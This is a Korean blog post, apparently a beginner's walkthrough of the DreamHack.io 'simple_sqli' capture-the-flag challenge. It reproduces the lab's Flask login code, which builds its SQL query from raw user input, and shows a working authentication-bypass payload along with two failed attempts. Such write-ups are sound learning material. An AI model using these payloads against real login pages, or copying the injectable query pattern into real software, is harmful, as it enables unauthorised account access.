일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 |
Tags
- DreamHack
- M1
- 모의해킹
- 리눅스
- NQ5
- 정보보안
- GitLab
- gns3
- docker
- AI
- Bigdata
- 보안기사실기
- 스노트
- 유닉스
- dreamhack.io
- 웹모의해킹
- VMware
- Synology
- 드림핵
- 취약점진단
- Python
- 정보보안산업기사
- 기아
- snort2.9
- 데이터모델링
- Snort
- 정보보안기사
- NEXUS
- 리눅스보안
- 보안컨설팅
Archives
- Today
- Total
Security_Analysis
[DreamHack.io]_SqlInjection_1 본문
728x90
반응형
DreamHack.io 의 웹해킹의 일곱번째 문제 "simple_sqli" 를 풀어보자.
SQL Injection란
"클라이언트의 입력값을 조작하여 서버의 데이터베이스를 공격할 수 있는 공격방식 "
app.py를 먼저 확인해보자
#!/usr/bin/python3
from flask import Flask, request, render_template, g
import sqlite3
import os
import binascii
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
DATABASE = "database.db"
if os.path.exists(DATABASE) == False:
db = sqlite3.connect(DATABASE)
db.execute('create table users(userid char(100), userpassword char(100));')
db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");')
db.commit()
db.close()
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(DATABASE)
db.row_factory = sqlite3.Row
return db
def query_db(query, one=True):
cur = get_db().execute(query)
rv = cur.fetchall()
cur.close()
return (rv[0] if rv else None) if one else rv
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
@app.route('/')
def index():
return render_template('index.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
userid = request.form.get('userid')
userpassword = request.form.get('userpassword')
res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
if res:
userid = res[0]
if userid == 'admin':
return f'hello {userid} flag is {FLAG}'
return f'<script>alert("hello {userid}");history.go(-1);</script>'
return '<script>alert("wrong");history.go(-1);</script>'
app.run(host='0.0.0.0', port=8000)
서버를 열어보면 이동할 수 있는 페이지가 1개(로그인) 존재한다.
Login Page
먼저 vuln(csrf) page 로 이동해보았다
힌트
코드를 통해 얻은 힌트라고 할만한 건 딱히 없었고, admin으로 로그인하면 된다는 것이였다.
풀이
admin 계정에 대해 패스워드를 알지 못하기 때문에 ID(admin), Injection 공격을 통해 로그인을 하여 Flag을 알아내야 했다.
query_db에 들어가는 f string 문을 보면 다음과 같다.
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
userid = request.form.get('userid')
userpassword = request.form.get('userpassword')
res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
나는 여러가지 방법을 시도했지만 한개만 되었다.
나머지 안되는거에 대해 왜 안되는지 이해를 해보려 했지만... 천천히 해볼예정 이다...
# 성공
#ID(userid) : admin" or "1
#PWD(userpassword) : 아무거나 입력
# f string 문
res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
# 결과
res = query_db(f'select * from users where userid="admin" or "1" and userpassword=""')
# 실패_1
#ID(userid) : admin"'#
#PWD(userpassword) : 아무거나 입력
# f string 문
res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
# 결과
res = query_db(f'select * from users where userid="admin"'--"" and userpassword=""')
# 실패_2
#ID(userid) : admin
#PWD(userpassword) : " or 1=1"
# f string 문
res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
# 결과
res = query_db(f'select * from users where userid="admin" and userpassword="" or 1=1 ""')
로그인 성공
플래그 찾기 성공!
다음 문제 :
P.S> 모의해킹 자체를 처음하다보니 제가 알고있는게 많이 적어서,,, 혹시나 제가 생각했던게 잘못되었을 경우 언제든 피드백 부탁드립니다.
728x90
반응형
'[Penetration] > _WEB' 카테고리의 다른 글
[DreamHack.io]_CSRF_2 (0) | 2023.12.02 |
---|---|
[DreamHack.io]_CSRF_1 (0) | 2023.12.01 |
[DreamHack.io]_(4)_XSS_2 (1) | 2023.11.30 |
[DreamHack.io]_(3)_XSS_1 (0) | 2023.11.29 |
[DreamHack.io]_(2)_Session (0) | 2023.11.28 |